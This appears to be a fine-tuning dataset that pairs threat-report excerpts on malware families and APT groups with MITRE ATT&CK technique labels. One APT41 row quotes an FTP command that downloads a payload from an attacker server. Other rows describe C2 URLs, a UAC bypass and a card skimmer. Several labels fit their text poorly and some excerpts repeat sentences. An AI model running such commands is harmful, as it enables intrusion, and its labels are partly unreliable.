"While Emotet has been around for many years and is one of the most well-known pieces of malware in the wild, that doesn't mean attackers don't try to freshen it up. These new campaigns have been observed following a period of relatively low Emotet distribution activity, corresponding with the observance of Orthodox Christmas in certain geographic regions. These new malicious efforts involve sending victims malicious Microsoft Word attachments with embedded macros that download Emotet. This latest strain has also gained the ability to check if the infected IP where the malicious email is being sent from is already blocklisted on a spam list",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"PlugX executes DLL hijacking with benign applications such as ESET antivirus, Adobe Update etc. Also, the PlugX that Mustang Panda APT uses has some extra features, including spreading through USB, gathering information, and stealing documents in air-gaped networks via USB",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"In this ongoing campaign, FIN7 is targeting organizations with spear phishing emails containing either a malicious DOCX or RTF file – two versions of the same LNK file and VBScript technique. These lures originate from external email addresses that the attacker rarely re-used, and they were sent to various locations of large restaurant chains, hospitality, and financial service organizations. As with previous campaigns, and as highlighted in our annual M-Trends 2017 report, FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext. The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Disttrack uses the internal domain names and credentials to log into remote systems on the same network segment,['T1016 - System Network Configuration Discovery'],fine_tune
"Curl is used to send the AWS credentials to TeamTNT’s server, which responds with the message “THX",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"The Helminth executable is able to communicate with its C2 server via HTTP and via DNS queries in very similar ways to the Helminth script variant. In fact, the DNS beacons follow the same structure and sequence as the script variant of Helminth discussed in the previous section",['T1573.001 - Symmetric Cryptography'],fine_tune
All this information was then sent to one of the following domains: G1 also had the ability to execute commands remotely on the infected host machine at the author's will,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"NoComm – No command, which causes the script to keep sending POST requests. Base64 string – A module to execute. The module is encrypted with a simple substitution cipher and encoded in base64",['T1573.001 - Symmetric Cryptography'],fine_tune
Those payloads consist of a legitimate and signed Microsoft executable used as a DLL search-order hijacking host and a malicious DLL loaded by that executable. The malicious DLL is a ShadowPad loader,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor",['T1071.002 - File Transfer Protocols'],fine_tune
"Given their capability and sophistication, it is unlikely that IRON RITUAL's intrusions will leave sufficient artifacts to allow researchers to associate their activities with previous or future Russian cyber espionage operations. The group has used malware including the SUNBURST (also known as Solorigate) backdoor and in-memory Cobalt Strike delivered using the TEARDROP and RAINDROP loaders. CTU researchers assess with high confidence that IRON RITUAL's intent is long term, covert access to networks of interest for the purposes of espionage and data theft.ToolsTaegis™ XDR Adversary Software Coverage Tool",['T1550 - Use Alternate Authentication Material'],fine_tune
"Let’s look at an example. During our investigation of an infection at a computer game company, we found that malware had been created for a particular service on the company’s server. The malicious program was looking for a specific process running on the server, injected code into it, and then sought out two places in the process code where it could conceal call commands for its function interceptors. Using these function interceptors, the malicious programs modified process data which was processed in those two places, and returned control back. Thus, the attackers change the normal execution of the server processes. Unfortunately, the company was not able to share its targeted application with us, and we cannot say exactly how this malicious interference affected gaming processes",['T1057 - Process Discovery'],fine_tune
"1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. In the case of file 8892279f3. the remote location is http://185.203.119[.]184/Dropbox/request. and only continues if the file exists. 2) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. The content of both files is shown in the appendix section of this report. and only continues if the file exists",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"The adversary uses Cobalt Strike as framework to manage their compromised systems. We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018. They switched to C2 encapsulated in HTTPS in Q3 2019. An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike. This is important to note because the functionalities of Cobalt Strike’s trial version are limited. More importantly: the trial version doesn’t support encryption of command and control traffic in cases where the protocol itself isn’t encrypted, such as DNS. The DNS-responses weren’t logged. This means that only the DNS C2 leaving the victim’s network was logged. We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format. As the adversary used Cobalt Strike with DNS as command &amp; control protocol, we were able to reconstruct more than two years of adversary activity",['T1071.004 - Application Layer Protocol: DNS'],fine_tune
"The TrickBot module used for credential harvesting is pwgrab64. As with all modules launched by the TrickBot core, pwgrab64 is installed into a subfolder, usually named either “modules” or “data,” and modified the following registry value",['T1112 - Modify Registry'],fine_tune
This command will attempt to download and execute a remote file via the Microsoft Windows built-in certutil utility. More information on this technique and the CARROTBAT malware family may be found within the Appendix,['T1105 - Ingress Tool Transfer'],fine_tune
"REvil sends the encrypted stat data containing the host profile and malware information to the C2 URL via the HTTP POST method. Detection of the associated network traffic is challenging because REvil uses the HTTPS protocol, which encrypts the network communication. Finally, REvil terminates execution",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Anchor_DNS was able to stay under-the-radar by using specific execution flags. If these command-line arguments are not supplied, the Anchor_DNS terminates",['T1480 - Execution Guardrails'],fine_tune
"The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. BLACKCOFFEE: a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal",['T1102.002 - Bidirectional Communication'],fine_tune
"The dns.ps1 script is also responsible for communicating with the C2 server, but it uses DNS queries to send data to the server. The DNS queries sent by this script are queries to subdomains on the same domain as the C2 server, which contains system information or the contents of files from the system. The subdomain of the DNS request that acts as the initial C2 beacon has the following structure",['T1012 - Query Registry'],fine_tune
"Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile. Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile. Suspected TEMP.Veles incidents include malicious activity originating from 87.245.143.140, which is registered to CNIIHM. This IP address has been used to monitor open-source coverage of TRITON, heightening the probability of an interest by unknown subjects, originating from this network, in TEMP.Veles-related activities. It also has engaged in network reconnaissance against targets of interest to TEMP.Veles. The IP address has been tied to additional malicious activity in support of the TRITON intrusion. This IP address has been used to monitor open-source coverage of TRITON, heightening the probability of an interest by unknown subjects, originating from this network, in TEMP.Veles-related activities. It also has engaged in network reconnaissance against targets of interest to TEMP.Veles. The IP address has been tied to additional malicious activity in support of the TRITON intrusion",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"On the first contact, it will send an identification of the victim based on the hard disk volume serial number. Talos didn't identify any kind of anti-sandboxing mechanisms on it, either",['T1082 - System Information Discovery'],fine_tune
"When checking network connection with the “netstat” command, both cases use the “-naop” option in conjunction with the “tcp“ - Filtering the result, both cases use the “findstr” command instead of “find",['T1049 - System Network Connections Discovery'],fine_tune
"This module was delivered, like many other tools, in a 7z self-extracting archive. Inside, there was a password-protected RAR archive containing a few files",['T1027 - Obfuscated Files or Information'],fine_tune
"For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1041 - Exfiltration Over C2 Channel', 'T1071 - Application Layer Protocol', 'T1132 - Data Encoding']",fine_tune
"FIN5, which earlier this year was profiled by researchers at Trend Micro and has been in action since at least 2008, uses real credentials from the victim organization's virtual private network, Remote Desktop Protocol, Citrix, or VNC. Vengerik says the attackers got those credentials via third parties associated with the victims' POS systems","['T1078 - Valid Accounts', 'T1133 - External Remote Services']",fine_tune
"The first action performed by the crypter code is to check some specific registry key. If the key is not detected, the crypter will enter an infinite loop or exit, thus it is used as an anti-analysis technique","['T1012 - Query Registry', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks']",fine_tune
"The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April. The worm specifically scans for the existence of the DoublePulsar backdoor on compromised systems. If the DoublePulsar backdoor does not exist, then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit. After the first thread determines the local network subnet, the SMB worm scans local addresses beginning at the start of the netblock and increasing by one to the end of the netblock. The second thread scans randomly chosen external IP addresses",['T1018 - Remote System Discovery'],fine_tune
"Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
The actor has used this method on its 2019 campaign as well. This UAC bypass starts by executing wusa.exe using ShellExecuteExw and gets its access token using NtOpenProcessToken. Then the access token of wusa.exe is duplicated using NtDuplicatetoken. The DesiredAccess parameter of this function specifies the requested access right for the new token. In this case the actor passed TOKEN_ALL_ACCESS as DesiredAccess value which indicates that the new token has the combination of all access rights of this current token. The duplicated token is then passed to ImpersonateLoggedOnUser and then a cmd instance is spawned using CreateProcessWithLogomW. At the end the duplicated token is assigned to the created thread using NtSetINformationThread to make it elevated,['T1134.002 - Create Process with Token'],fine_tune
"The main infection vector for Poseidon is the use of spear-phishing emails including RTF/DOC files, usually with a human resources lure. Poseidon’s toolkit displays an awareness of many antivirus providers over the years, attempting to attack or spoof these processes as a means of self-defense for their infections",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. This repeat attack may suggest that the adversaries have lost their foothold in the targeted organization, or that it may be considered a high value target. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time",['T1204.001 - Malicious Link'],fine_tune
"PlugX — A remote access tool notable for communications that may contain HTTP headers starting with ""X-"" (e.g. X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. TG-3390 has used additional web shells containing similarly formatted passwords",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs",['T1204.001 - Malicious Link'],fine_tune
"After the credit cards are first scanned in real time, the personal account number (PAN) and accompanying data sits in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. During that time, the point-of-sale malware opens up the process memory searching for elements related to credit card information",['T1005 - Data from Local System'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity","['T1053.002 - Scheduled Task/Job: At', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"The kernel driver is a commercial product that the attackers are abusing called RawDisk by EldoS Corporation, which provides direct access to files, disks and partitions. It appears that the “drdisk.sys” driver (SHA256: 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6) is the exact same driver as used in the Shamoon attack in 2012. With the kernel driver installed, the wiper can begin writing to protected system locations, such as the master boot record (MBR) and partition tables of storage volumes. If the wiper is configured with the ""E"" setting, the wiper will encrypt the contents of the file using a random value as a key and the RC4 algorithm. If configured with the ""R"" setting, the wiper will overwrite files with the random values that would be used as a key in ""E","['T1561.002 - Disk Structure Wipe', 'T1485 - Data Destruction', 'T1485 - Data Destruction']",fine_tune
"The new domain names follow the same pattern as previously reported, except that they swap the top level domain name for another. We know that the threat actor has used the “.me” TLD in their past campaigns against some academic intuitions and this is still the case, along side “.tk” and “.cf",['T1583.001 - Domains'],fine_tune
"The group's primary and likely proprietary RCSession RAT communicates with a hard-coded C2 server using a custom protocol over TCP port 443. After connecting to its C2 server, RCSession checks in with an encrypted beacon and then awaits instruction. The ORat tool, which appears to be used less frequently by the group, communicates over TCP port 80 using a raw socket protocol (not HTTP",['T1573 - Encrypted Channel'],fine_tune
"Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister. It also gathers network information such as the MAC address, IP address, WINS, DHCP server, and gateway",['T1016 - System Network Configuration Discovery'],fine_tune
"The two main changes are the obfuscation and the network protocol to communicate to the C2 server. The developers used two different obfuscation algorithms: one for the C2 encoding and one for the data. The C2 encoding is a simple XOR (as in 2012): The C2 encoding communication is also different. As the data are now sent with the GET method, the data must be in ASCII. That's they add base64 encoding in order to get supported characters in the HTTP query. For the first time, the developer switched from POST requests to GET requests: The exfiltrated data is appended to the URL. Here is the pattern: hxxp://C2_domain/MalwareIDVictimIPThirdIDExfiltratedDataBase64 SHA256:37d1bd82527d50df3246f12b931c69c2b9e978b593a64e89d16bfe0eb54645b0 C2 URL:hxxp://www[.]amanser951[.]otzo[.]com/uiho0.0.0.0edrftg.txt",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"The malware sets information like the C2 server, ID, the downloaded payload, and the decoded project.aspx in a registry key under “HKCU\Software\ApplicationContainer\Appsw64”. These keys will be used in the second stage",['T1112 - Modify Registry'],fine_tune
"The Helminth executable variant is able to run batch scripts provided by the C2 server, which is very similar to the script version of this Trojan. The executable variant has one additional capability that is not present in the script version, which involves the ability to log keystrokes via a supplemental keylogger module","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1115 - Clipboard Data', 'T1056.001 - Input Capture: Keylogging']",fine_tune
The ransom note instructs the victim to use a unique URL to decrypt their files. Victims must provide the key and extension name included in the ransom note. The key specified in the ransom note is the Base64-encoded representation of the encrypted stat data stored in the registry,['T1486 - Data Encrypted for Impact'],fine_tune
"1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. Initially, they will hide the main spreadsheet that requested the user to “enable editing”, then unhide a secondary spreadsheet that contains the decoy, to avoid raising suspicion. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence. 5) Ferocious run-1: After the macro finishes writing to disk, it runs winrm.vbs using explorer.exe. The VBS script will also add two important registry keys for persistence. The persistence technique observed in all intrusions uses COM hijacking. In this technique, the threat actor is able to add a Class ID in the current user registry hive (HKCU) referencing the malicious VBS script written previously to %ProgramData%\winrm.vbs. Registry keys used for COM hijacking After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files. 6) Ferocious run-2: The macro will continue after the cleanup by recreating and opening the same files, winrm.vbs and winrm.txt",['T1112 - Modify Registry'],fine_tune
All the strings used by the malware are encrypted and are decrypted by Rijndael symmetric encryption algorithm in the “&lt;Module&gt;.\u200E” function,['T1027 - Obfuscated Files or Information'],fine_tune
"They dumped specific hives from the Windows Registry, such as the SAM hive, which contains password hashes",['T1005 - Data from Local System'],fine_tune
"Volexity's investigation into this incident determined the attacker had accessed the Duo integration secret key (akey) from the OWA server. This key then allowed the attacker to derive a pre-computed value to be set in the duo-sid cookie. After successful password authentication, the server evaluated the duo-sid cookie and determined it to be valid. This allowed the attacker with knowledge of a user account and password to then completely bypass the MFA set on the account. It should be noted this is not a vulnerability with the MFA provider and underscores the need to ensure that all secrets associated with key integrations, such as those with an MFA provider, should be changed following a breach. Further, it is important that not only are passwords changed after a breach, but that passwords are not set to something similar to the previous password (e.g","['T1550.004 - Web Session Cookie', 'T1606.001 - Web Cookies']",fine_tune
"The legitimate DLL that would be used in this case has the size of roughly 600 KB, but here we have an obfuscated library that is over 600 MB. The large size of the file is intended to hamper analysis and detection. Once all empty sections have been removed from the library, the final payload is a binary of 27.5 MB",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"Generally, the malware uses AutoIt or VBS scripts added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"Gamaredon is an advanced persistent threat (APT) group that has been active since 2013. From late 2019 to February of this year, researchers published several reports on Gamaredon, tracking the group’s activities","['T1140 - Deobfuscate/Decode Files or Information', 'T1059.005 - Command and Scripting Interpreter: Visual Basic']",fine_tune
"When you run the command, it sets all the required information about the AD FS to Azure AD for the federated domain. It also creates a relying party trust for the Azure AD to the local AD FS server. When a user is authenticated on AD FS, it creates a security token including claims about the user’s identity. With Azure AD, two claims are used for authentication; UserPrincipalName and ImmutabledId. Basically, the ImmutableId could be any string, as long as it matches the ImmutableId attribute of the user object in Azure AD. Typically the ImmutableId is a base 64 encoded GUID of the user object in on-premises AD (to convert GUID to immutable ID see the tools page). Converting the domain to federated also creates two claim issuance rules. For short, the rules add the UserPrincipalName and ImmutableId claims of the logged in user to the security token. When security token is delivered to Azure authentication platform, it checks the token signature, and if it matches the trust, the user is granted access",['T1484 - Domain or Tenant Policy Modification'],fine_tune
NICKEL used compromised credentials to sign into victims’ Microsoft 365 accounts through normal sign-ins with a browser and the legacy Exchange Web Services (EWS) protocol to review and collect victim emails. MSTIC has observed successful NICKEL sign-ins to compromised accounts through commercial VPN providers as well as from actor-controlled infrastructure,"['T1133 - External Remote Services', 'T1078.004 - Valid Accounts: Cloud Accounts']",fine_tune
"By enabling this data connection, the user allows Excel to obtain content from the URL in the .iqy file. The contents within the releasenotes.txt file (SHA256: bf925f340920111b385078f3785f486fff1096fd0847b993892ff1ee3580fa9d) contains the following formula that Excel will save to the “A0” cell in the worksheet",['T1204.002 - User Execution: Malicious File'],fine_tune
"After the system reboots, the file “AJWrDz.exe” executes, which in turn triggers the side-loading of the malicious (and fake) DLL file “dbghelp.dll”. This malicious DLL file injects itself to Windows Media Player process — wmplayer.exe, and reflectively loads the renamed jesus.dmp file, “AJWrDz.dmp",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
The Emissary Trojan will use this GUID value provided by the C2 server as an encryption key that it will use to encrypt data sent in subsequent network communications,"['T1027 - Obfuscated Files or Information', 'T1573.001 - Symmetric Cryptography']",fine_tune
"It also checks for the existence of various tools and utilities that malware analysts often run when analyzing malicious software. It also leverages Structured Exception Handling (SEH) to patch its own code. These measures are all designed to impede the analysis process and make it more expensive to identify what the malware is actually designed to do from a code execution flow perspective. Below the EAX register is stored in a variable to be reused later in order to allocate a heap memory chunk to initiate its own unpacked code. The malware also uses others techniques to make analysis significantly more difficult, like creating hundreds of case comparisons, which makes tracing code much harder. Below an example of several if conditional statements in pseudo code demonstrating this process and how it can result in impeding the ability to efficiently trace the code. In order to decrypt the malware code it's installs an exception handler, which is responsible for decrypting some memory bytes to continue it's execution. Below you can see the SEH has just been initialized: In the same routine, it performs the decryption routine for the following code. The strings are encrypted using an XOR value, however each string uses a separate XOR value preventing an easy detection mechanism. Below is some IDA Python code which can be used to decrypt strings",['T1027 - Obfuscated Files or Information'],fine_tune
There are 2 ways by which Linux/Ebury can choose a server where the DNS packets are sent. The second method uses an algorithm to generate a domain name dynamically. This domain name will be queried for its A and TXT records. The TXT record will be used to verify that it is under the control of the operators using public key cryptography. Details about the domain generation algorithm and the verification processed will be published later,['T1568.002 - Domain Generation Algorithms'],fine_tune
"After the Waterbear DLL loader is executed, it searches for a hardcoded path and tries to decrypt the corresponding payload, which is a piece of encrypted shellcode. If the decrypted payload is valid, it picks a specific existing Windows Service — LanmanServer, which is run by svchost.exe — and injects the decrypted shellcode into the legitimate service",['T1055 - Process Injection'],fine_tune
The malware initiates its main function of capturing user keystrokes and sending them to the control server using standard Windows networking APIs,"['T1056.001 - Input Capture: Keylogging', 'T1056 - Input Capture']",fine_tune
Process hollowing is a code injection technique that involves spawning a new instance of legitimate process (in this case c:\windows\syswow64\explorer.exe) and then replacing the legitimate code with malware,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"The January 2022 version of PlugX malware utilizes RC4 encryption along with a hardcoded key that is built dynamically. For communications, the data is compressed then encrypted before sending to the command and control (C2) server and the same process in reverse is implemented for data received from the C2 server. Below shows the RC4 key ""sV. During the January 2022 campaigns, the delivered PlugX malware samples communicated with the C2 server 92.118.188[.]78 over port 187. In the February 2022 campaign, Proofpoint researchers observed a variation in which PlugX malware used an RC4 key that was sent to the bot in the first HTTP response which was then used to encrypt data going to the C2 server",['T1573.001 - Symmetric Cryptography'],fine_tune
"A series of xor 0x28 loops decrypt the contents of a self-deletion batch file, which is then written to disk and executed. Later in the execution, a more complex rc4 loop decrypts the download url and other strings and imports",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"FALLCHILL is the primary component of a C2 infrastructure that uses multiple proxies to obfuscate network traffic between HIDDEN COBRA actors and a victim’s system. According to trusted third-party reporting, communication flows from the victim’s system to HIDDEN COBRA actors using a series of proxies as shown in figure 1",['T1090.002 - External Proxy'],fine_tune
"Ferocious Kitten is an APT group that since at least 2015 has been targeting Persian-speaking individuals who appear to be based in Iran. Although it has been active for a long time, the group has mostly operated under the radar and has not been covered by security researchers to the best of our knowledge. It is only recently that it drew attention when a lure document was uploaded to VirusTotal and went public thanks to researchers on Twitter. Since then, one of its implants has been analyzed by a Chinese threat intelligence firm",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The malware encrypts user files, demanding a fee of either $300 or $600 worth of bitcoins to an address specified in the instructions displayed after infection",['T1486 - Data Encrypted for Impact'],fine_tune
"In addition to the encrypted strings table, BitPaymer replaces the remaining strings in the binary with hashes and uses an algorithm to match these hashes with strings that exist on the host. This hash is combined with a DWORD using a simple XOR. This string hashing algorithm is identical to the hashing algorithm used in other Dridex modules",['T1012 - Query Registry'],fine_tune
"Much of the code inside the script is from the library “js-cookie” version 2.2.1. However, the attackers modified it and integrated a credit card skimmer into the original script. The skimmer binds at the events “mousedown” and “touchstart” of the payment submit button",['T1119 - Automated Collection'],fine_tune
"From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. If the exploit is successful, the threat actors will attempt to drop and execute QuasarRAT. While the use of e-mail recipient tracking, a linked RTF document, and a final payload (QuasarRAT variant) remained the same, certain elements differed across campaigns observed. Exploitation and Malware Execution . Upon opening the above attachments, the recipient will be presented with a document that is a direct copy of a blog post or report released by the think tank organization being impersonated. When the malicious RTF document is opened, two things happen that allow the attacker malware to run. Its called the ""packager trick"" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious ""scriptlet"" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial ""qrat.exe"" dropper from the current user's %tmp% directory. The Patchwork threat actors also appear to have adopted a technique seen from other APT groups where they are now tracking the effectiveness of their campaigns by recording which recipients have opened the phishing message",['T1203 - Exploitation for Client Execution'],fine_tune
"In addition to this, as reported by our peers at ESET last week, the group has also begun using a UEFI (Unified Extensible Firmware Interface) rootkit known as Lojax. Because the rootkit resides within a computer’s flash memory, it allows the attackers to maintain a persistent presence on a compromised machine even if the hard drive is replaced or the operating system is reinstalled",['T1014 - Rootkit'],fine_tune
f) Hadoop YARN ResourceManager – Command Execution (exploit) g) CVE-2016-3088: Apache ActiveMQ Fileserver File Upload Remote Code Execution Vulnerability,"['T1203 - Exploitation for Client Execution', 'T1203 - Exploitation for Client Execution', 'T1105 - Ingress Tool Transfer']",fine_tune
"shareDll, mshareDll, tshareDll Modules used to propagate Trickbot loader to connected network shares of the victimized machine. Modules used to propagate Trickbot loader to connected network shares of the victimized machine. wormwinDll, wormDll, mwormDll, nwormDll Modules used for spreading inside a local network of compromised machines via SMB. It uses the EternalBlue exploit. Modules used for spreading inside a local network of compromised machines via SMB. It uses the EternalBlue exploit. tabDll Module used to spread into the network using the EternalRomance exploit. Module used to spread into the network using the EternalRomance exploit",['T1210 - Exploitation of Remote Services'],fine_tune
"The s.exe (SHA256: 04f48ed27a83a57a971e73072ac5c769709306f2714022770fb364fd575fd462) uploaded to the error2.aspx webshell is a self-extracting 7-zip archive that is an example of the HyperBro backdoor. According to Kaspersky and SecureWorks research, HyperBro is a custom backdoor developed and used by Emissary Panda in their attack campaigns. This sample of HyperBro is similar to the sample discussed in Kaspersky’s research, specifically using a legitimate pcAnywhere application to sideload a DLL to decrypt, decompress and run a payload embedded within a file named ‘thumb.db’. Table 5 shows the three files associated with this HyperBro sample, which have the same file names as the self-extracting 7zip archives mentioned in Kaspersky’s blog (SHA256 hashes: 34a542356ac8a3f6e367c6827b728e18e905c71574b3813f163e043f70aa3bfa and 2144aa68c7b2a6e3511e482d6759895210cf60c67f14b9485a0236af925d8233",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
The dropper has its encrypted payload embedded as an overlay of a PE file as extra data that will never be used in normal execution steps,['T1027 - Obfuscated Files or Information'],fine_tune
COMSysApp service is first configured to autostart and the binpath of the service is set to svchost.exe. COMSysApp service is added under the “SvcHost” key as a preliminary step to its execution in the context of svchost.exe. The malicious DLL is added as a service DLL of COMSysApp. COMSysApp service is restarted,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
"One, called ""frown.py,"" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143",['T1571 - Non-Standard Port'],fine_tune
"Currently, Agent Tesla continues to be utilized in various stages of attacks. Agent Tesla is now able to harvest configuration data and credentials from a number of common VPN clients, FTP and Email clients, and Web Browsers. The malware has the ability to extract credentials from the registry as well as related configuration or support files. Our analysis of a swatch of current Agent Tesla samples reveals the following list of targeted software","['T1552.002 - Unsecured Credentials: Credentials in Registry', 'T1552.001 - Unsecured Credentials: Credentials In Files']",fine_tune
"Next, BoomBox downloads an encrypted file from Dropbox. For demonstration purposes, an example HTTP(s) POST request used to download the encrypted file from Dropbox is shown below",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Along with the JavaScript RAT, DarkWatchman features a C# keylogger. The keylogger is distributed as obfuscated C# source code that is processed and stored in the registry as a Base64-encoded PowerShell command. When the RAT is launched, it executes this PowerShell script which, in turn, compiles the keylogger (using CSC) and executes it. The keylogger itself does not communicate with the C2 or write to disk. Instead, it writes it’s keylog to a registry key that it uses as a buffer. During its operation, the RAT scrapes and clears this buffer before transmitting the logged keystrokes to the C2 server",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"The algorithm used by Dyre for generating the AES and IV from the first 48 bytes of data based on a rehashing scheme was commonly referred to as Dyre’s derive_key function, this function was slightly changed in the new bot",['T1573.001 - Symmetric Cryptography'],fine_tune
"Figure 1 – The wrapper DLL poses as a legitimate mpr.dll library, both by its name and version info",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
